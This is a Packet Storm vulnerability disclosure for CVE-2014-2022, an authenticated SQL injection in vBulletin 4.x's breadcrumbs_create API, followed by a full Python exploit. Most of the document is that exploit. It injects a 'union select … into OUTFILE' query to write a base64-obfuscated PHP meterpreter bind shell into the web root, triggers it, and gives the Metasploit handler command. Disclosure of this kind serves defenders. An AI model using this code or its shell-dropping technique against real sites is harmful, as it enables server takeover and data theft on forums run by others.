vBulletin 4.x SQL Injection

2014-10-13T00:00:00
ID PACKETSTORM:128696
Type packetstorm
Reporter oststrom
Modified 2014-10-13T00:00:00

Description

                                        
                                            `-----BEGIN PGP SIGNED MESSAGE-----  
  
Hash: SHA1  
  
  
  
CVE-2014-2022 - vbulletin 4.x - SQLi in breadcrumbs via xmlrpc API  
(post-auth)  
  
============================================================================  
==  
  
  
  
Overview  
  
- --------  
  
  
  
date : 10/12/2014   
  
cvss : 7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C) base  
  
cwe : 89   
  
  
  
vendor : vBulletin Solutions  
  
product : vBulletin 4  
  
versions affected : latest 4.x (to date); verified <= 4.2.2  
  
* vBulletin 4.2.2 (verified)   
  
* vBulletin 4.2.1 (verified)   
  
* vBulletin 4.2.0 PL2 (verified)   
  
  
  
exploitability :  
  
* remotely exploitable  
  
* requires authentication (apikey)  
  
  
  
patch availability (to date) : None  
  
  
  
Abstract  
  
- ---------  
  
vBulletin 4 does not properly sanitize parameters to breadcrumbs_create  
allowing  
  
an attacker to inject arbitrary SQL commands (SELECT).  
  
  
  
risk: rather low - due to the fact that you the api key is required  
  
you can probably use CVE-2014-2023 to obtain the api key  
  
  
  
  
  
  
  
Details  
  
- --------  
  
  
  
vulnerable component:   
  
./includes/api/4/breadcrumbs_create.php  
  
vulnerable argument:  
  
conceptid  
  
  
  
which is sanitized as TYPE_STRING which does not prevent SQL injections.  
  
  
  
  
  
Proof of Concept (PoC)  
  
- ----------------------  
  
  
  
see https://github.com/tintinweb/pub/cve-2013-2022  
  
  
  
  
  
1) prerequesites  
  
1.1) enable API, generate API-key  
  
logon to AdminCP  
  
goto "vBulletin API"->"API-Key" and enable the API interface,  
generate key  
  
2) run PoC  
  
edit PoC to match your TARGET, APIKEY (, optionally DEBUGLEVEL)  
  
provide WWW_DIR which is the place to write the php_shell to (mysql  
must have permissions for that folder)  
  
Note: meterpreter_bind_tcp is not provided  
  
run PoC, wait for SUCCESS! message  
  
Note: poc will trigger meterpreter shell  
  
  
  
meterpreter PoC scenario requires the mysql user to have write  
permissions   
  
which may not be the case in some default installations.  
  
  
  
  
  
Timeline  
  
- --------  
  
  
  
2014-01-14: initial vendor contact, no response  
  
2014-02-24: vendor contact, no response  
  
2014-10-13: public disclosure  
  
  
  
Contact  
  
- --------  
  
tintinweb - https://github.com/tintinweb/pub/cve-2013-2022  
  
  
  
  
  
(0x721427D8)  
  
  
  
  
  
-----BEGIN PGP SIGNATURE-----  
  
iQIcBAEBAgAGBQJUPDhLAAoJEBgB43t1YjbLFOwP/Alc3Rb4c+1l4efPQrZhO96r  
  
Vx+YtClXEXjGeSphZddFegVh/WlY8HQioepmMO9pwz3ehl00pGEu7N2qAILoO2pA  
  
DZ8Lj89WZiXDkDAI56RTjDsxnf8BgxWTBZn4HO2kQtziPV9adsm7bN+fBN0Pn0D6  
  
uTm5fM3Sd6x4NZyt6moi3oImHeTCd+KxDokBskPLT7i7fUPmyMDkv8a564DZyjz3  
  
iCp9ZfjKEF/O2+r+UOgbtr8jyqcfosVIgn9ldJmKMut04hOC5Q6a4GnivyCbGS+E  
  
B/pkiqSWQDbCThQcfTS+3vRubH3N2V3Y3I2VnnCdosK4VnrlVIiekHxfOyCyXxJZ  
  
HjNxptG6WvSv3/cywb/FyEY114AArYpfBdb8rJs/DniQJ7soCMMFaYVPO/LpdRV/  
  
4xC5Rj/g5ud59dDUtCT62+tmzfKt5Lh+/wmBRliCU9EEzRqcpUdh1xn/BDy2XzlP  
  
6PFvQpTLAmzGXP4X+QkPr+iIvGvPCuu9BjHiFuEeHItaXc0tFTjKkohI0Iv1Yjvg  
  
PhGkGXuEuBBwg3Cec/NT/5+1Jj2RahvFC6EMAXKPu2X3n/SeBRDqqurNL8LgkZIR  
  
ycCVO04yGDns5ikpFGHMqXBH1uvCB5OQVDtVvVLQZOxC7JLd4cA/AmvltDwVeb7u  
  
GZhJijkeC0vpRxM+kcTY  
  
=BhWu  
  
-----END PGP SIGNATURE-----  
  
  
Proof of concept:  
  
  
#!/usr/bin/env python  
# -*- coding: utf-8 -*-  
'''  
@author: tintinweb 0x721427D8  
'''  
import urllib2, cookielib, urllib, json, hashlib  
  
class Exploit(object):  
  
baseurl = None  
cookies = None  
  
def __init__(self,baseurl,params, debuglevel=1):  
self.cookies = cookielib.LWPCookieJar()  
handlers = [  
urllib2.HTTPHandler(debuglevel=debuglevel),  
urllib2.HTTPSHandler(debuglevel=debuglevel),  
urllib2.HTTPCookieProcessor(self.cookies)  
]  
self.browser = urllib2.build_opener(*handlers)  
self.baseurl=baseurl  
self.params = params  
  
def call(self,path="",data={}):  
assert(isinstance(data,dict))  
data = urllib.urlencode(data)  
  
req = urllib2.Request("%s%s"%(self.baseurl,path),data)  
req.add_header("Content-Type", "application/x-www-form-urlencoded")  
  
return self.browser.open(req)  
  
def call_json(self,path=None,data={}):  
try:  
x=self.call(path,data).read()  
print "raw_response", x  
resp = json.loads(x)  
except urllib2.HTTPError, he:  
resp = he.read()  
return resp  
  
  
def vb_init_api(self):  
params = {'api_m':'api_init'}  
params.update(self.params)  
data = self.call_json("?%s"%(urllib.urlencode(params)))   
self.session = data  
return data  
  
def vb_call(self, params):  
api_sig = self._vb_build_api_sig(params)  
req_params = self._vb_build_regstring(api_sig)  
params.update(req_params)  
data = self.call_json("?%s"%(urllib.urlencode(params)),data=params)  
if not isinstance(data, dict):  
return data  
if 'errormessage' in data['response'].keys():  
raise Exception(data)  
return data  
  
def _ksort(self, d):  
ret = []  
for key, value in [(k,d[k]) for k in sorted(d.keys())]:  
ret.append( "%s=%s"%(key,value))  
return "&".join(ret)  
  
def _ksort_urlencode(self, d):  
ret = []  
for key, value in [(k,d[k]) for k in sorted(d.keys())]:  
ret.append( urllib.urlencode({key:value}))  
return "&".join(ret)  
  
def _vb_build_api_sig(self, params):  
apikey = self.params['apikey']  
login_string = self._ksort_urlencode(params)  
access_token = str(self.session['apiaccesstoken'])  
client_id = str(self.session['apiclientid'])  
secret = str(self.session['secret'])  
return hashlib.md5(login_string+access_token+client_id+secret+apikey).hexdigest()  
  
def _vb_build_regstring(self, api_sig):  
params = {  
'api_c':self.session['apiclientid'],  
'api_s':self.session['apiaccesstoken'],  
'api_sig':api_sig,  
'api_v':self.session['apiversion'],  
}  
return params  
  
  
if __name__=="__main__":  
TARGET = "http://192.168.220.131/vbb4/api.php"  
APIKEY = "4FAVcRDc"  
REMOTE_SHELL_PATH = "/var/www/myShell.php"  
TRIGGER_URL = "http://192.168.220.131/myShell.php"  
DEBUGLEVEL = 0 # 1 to enable request tracking  
  
  
### 2. sqli - simple - write outfile  
print "[ 2 ] - sqli - inject 'into outfile' to create file xxxxx.php"  
params = {'clientname':'fancy_exploit_client',  
'clientversion':'1.0',  
'platformname':'exploit',  
'platformversion':'1.5',  
'uniqueid':'1234',  
'apikey':APIKEY}   
x = Exploit(baseurl=TARGET,params=params)  
  
vars = x.vb_init_api()  
print vars  
'''  
x.vb_call(params={'api_m':'breadcrumbs_create',  
'type':'t',  
#'conceptid':"1 union select 1 into OUTFILE '%s'"%REMOTE_SHELL_PATH,  
'conceptid':"1 union select 1 into OUTFILE '%s'"%(REMOTE_SHELL_PATH)  
})  
  
print "[ *] SUCCESS! - created file %s"%TRIGGER_URL  
'''  
### 3. sqli - put meterpreter shell and trigger it  
print "[ 3 ] - sqli - meterpreter shell + trigger"  
with open("./meterpreter_bind_tcp") as f:  
shell = f.read()  
  
shell = shell.replace("<?php","").replace("?>","") #cleanup tags  
shell = shell.encode("base64").replace("\n","") #encode payload  
shell = "<?php eval(base64_decode('%s')); ?>"%shell # add decoderstub  
shell = "0x"+shell.encode("hex") # for mysql outfile  
  
  
x.vb_call(params={'api_m':'breadcrumbs_create',  
'type':'t',  
'conceptid':"1 union select %s into OUTFILE '%s'"%(shell,REMOTE_SHELL_PATH)})   
print "[ *] SUCCESS! - triggering shell .. (script should not exit)"  
print "[ ] exploit: #> msfcli multi/handler PAYLOAD=php/meterpreter/bind_tcp LPORT=4444 RHOST=<TARGET_IP> E"  
print "[ *] shell active ... waiting for it to die ..."  
print urllib2.urlopen(TRIGGER_URL)   
print "[ ] shell died!"  
print "-- quit --"  
  
`